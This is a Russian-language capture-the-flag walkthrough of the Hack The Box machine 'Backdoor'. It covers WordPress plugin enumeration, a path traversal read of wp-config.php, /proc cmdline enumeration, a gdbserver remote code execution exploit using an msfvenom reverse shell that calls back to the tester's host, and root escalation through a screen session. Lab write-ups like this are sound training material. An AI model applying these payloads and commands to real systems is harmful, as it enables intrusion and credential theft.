В этой статье мы рассмотрим прохождение уязвимой машины Backdoor Hack The Box, в рамках которой будем взламывать сайт на WordPress. Мы найдем уязвимые плагины, будем эксплуатировать уязвимость Path Traversal, научимся использовать Burp и повышать привилегии в системе с помощью пользовательского скрипта.
Еще по теме: Взлом сайта на Django
[box type=»warning» align=»» class=»» width=»»]Лучше подключаться к машине HTB с помощью VPN. И желательно не делать это со своего личного компа, на котором хранится чувствительная информация. [/box]
Взлома сайта WordPress
Для начала добавим IP-адрес машины в /etc/hosts:
1 |
10.10.11.125 backdoor.htb |
Начнем со сканирования портов. Это стандартная операция при любом пентесте. Сканирование портов позволит определить, какие службы на машине принимают соединение.
Для этого отлично подходит популярный сканер Nmap. Следующий скрипт улучшит результаты сканирования:
1 2 3 |
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 |
Он действует в два этапа. Первый производит просто быстрое сканирование, второй — глубокое сканирование, используя имеющиеся скрипты (опция —A)
Сканер нашел два открытых порта:
- 80 — веб‑сервер Apache 2.4.41;
- 22 — служба OpenSSH 8.2p1.
SSH смело пропускаем, там делать нечего.
[box type=»shadow» align=»» class=»» width=»»]
Справка: брутфорс учеток
У нас пока нет учетных данных, поэтому нет смысла в анализе служб, которые как правило требуют авторизации (например, SSH). Единственное, что можно сделать на данном этапе — перебрать пароли брутом, но уязвимые машины с Hack The Boxt практически всегда имеют другие решения. В реальности таких вариантов может не быть, но можно всегда использовать социальную инженерию.
[/box]
Начнем с изучения веб‑сервера. Результат сканирования Nmap указывает на WordPress 5.8.1.
Кстати, такую информацию можно можно получить, запустив инструмент whatweb.
1 |
whatweb http://backdoor.htb |
При взломе сайтов WordPress стоит начинать с утилиты wpscan. Инструмент позволяет обнаружить устаревшие и зачастую уязвимые версии движка WordPress, установленных плагинов и тем, а также получить список учеток с последующим брутом.
Перед началом использования, стоит зарегистрироваться на сайте и получить токен для API.
Зачастую уязвимости присутствуют в установленных плагинах, поэтому я начал с их перебора (параметр -e ap), с агрессивным режимом (параметр --plugins-detection aggressive) и установил 100 потоков (параметр -t 100).
1 |
wpscan --url http://backdoor.htb/ -e ap --plugins-detection aggressive -t 100 |
Потратив несколько минут, мы получаем отчет, в котором отмечены два плагина. Об уязвимостях ничего не говорится, но в ebook-download не проиндексирован каталог, что позволяет просмотреть его содержимое.
Из файла readme.txt узнаем версию плагина — 1.1. Странно, ведь сканер отобразил 1.5.
Пытаемся найти известные уязвимости и эксплоиты для ebook-download 1.1 и находим PoC.
[box type=»shadow» align=»» class=»» width=»»]
Справка: поиск готовых эксплоитов
При пентесте лучше всего искать эксплоиты в Google, поскольку этот поисковик заглядывает и в личные блоги, и в самые разные отчеты. Ускорят дело специализированные сайты для поиска уязвимостей вроде Exploit-DB — там часто можно обнаружить подходящие варианты. Если вы работаете в специализированной ОС вроде Kali Linux, то эта база у вас уже есть и для поиска можно использовать утилиту searchsploit.
[/box]
Уязвимость и эксплоит очень простые. Это path traversal, то есть возможность обращаться к родительскому каталогу ( ../) при указании пути к файлу. Три таких шага, и мы выбираемся в корневую директорию WordPress, где можем прочитать файл с конфигурацией. Делается это одним запросом:
1 |
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php |
Здесь хранятся учетные данные для подключения к базе данных. Первая идея — попробовать эти учетные данные для логина по SSH (не вышло) и доступа к панели администрирования WordPress, расположенной в каталоге /wp-admin/. Авторизоваться на сайте также не вышло.
Тогда мы можем поискать другие интересные файлы и получить больше информации с сервера. Я использовал список с такими файлами и потратил много времени на их просмотры, ведь мы можем прочитать почти все, для чего хватает привилегий. И ничего интересного, кроме файла:
1 |
/proc/self/cmdline |
Файловая система /proc — это специальная ФС, которая есть во многих современных UNIX-системах. В ней можно найти массу полезной информации в текстовом виде.
Внутри каталога /proc — огромное число других каталогов с цифровыми названиями. Имя каждого такого каталога соответствует идентификатору работающего в системе процесса (PID). А файл /proc/[pid]/cmdline содержит аргументы командной строки, с которыми был запущен процесс. Идентификатор self указывает на текущий процесс.
После этой находки у меня возникла идея проверить аргументы командной строки всех процессов, вдруг какому‑то из них были переданы учетные данные. С помощью Burp Intruder можно перебрать идентификаторы. Это легко сделать, указав Numbers в качестве типа нагрузки и промежуток перебора от 0 до 10 000 с шагом 1.
Учетных данных не находим, зато отмечаем, что на порте 1337 запущен gdbserver. Мы не знаем версии, поэтому попробуем найти просто самый новый эксплоит.
Первая же ссылка в Google наводит нас на скрипт, который эксплуатирует RCE-уязвимость в gdbserver 9.2. Чтобы воспроизвести это, сгенерируем файл с нагрузкой при помощи MSFvenom:
1 |
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.73 LPORT=4321 PrependFork=true -o rev.bin |
Затем с использованием netcat создадим листенер для приема бэкконнекта.
[box type=»shadow» align=»» class=»» width=»»]
Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
В таких случаях пригодится rlwrap — readline-оболочка, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива.
В качестве самого листенера при этом можно использовать широко известный netcat.
1 |
rlwrap nc -lvp [port] |
[/box]
Для этого выполним такую команду:
1 |
rlwrap -cAr nc -lvnp 4321 |
И запустим эксплоит.
Получаем интерактивную TTY-оболочку и читаем первый флаг — пользовательский.
1 |
python3 -c "import pty;pty.spawn('/bin/bash')" |
Для захвата флага рута нам понадобится повысить привилегии в системе. Самые очевидные шаги для этого — проверить настройки sudoers, приложения с выставленным битом SUID, прослушиваемые на локальном хосте порты и список запущенных приложений. Везет с последним пунктом. Мы находим работающий в системе пользовательский скрипт.
На хосте каждую секунду запускается команда find:
1 |
find /var/run/screen/S-root/ -empty -exec screen -dmS root |
Если она находит процесс screen, то выполняет действие exec, что приведет к запуску screen в автономном режиме (причем запущенном от имени суперпользователя). То есть мы можем запустить screen и подключиться ко второму, запущенному командой find привилегированному процессу.
1 2 |
export TERM=xterm screen -x root/root |
Это дает нам привилегированный шелл.
Сайт WordPress взломан. Машина захвачена!
Полезные ссылки:
Здравствуйте! Как можно с вами связаться
Услуги взлома не оказываем!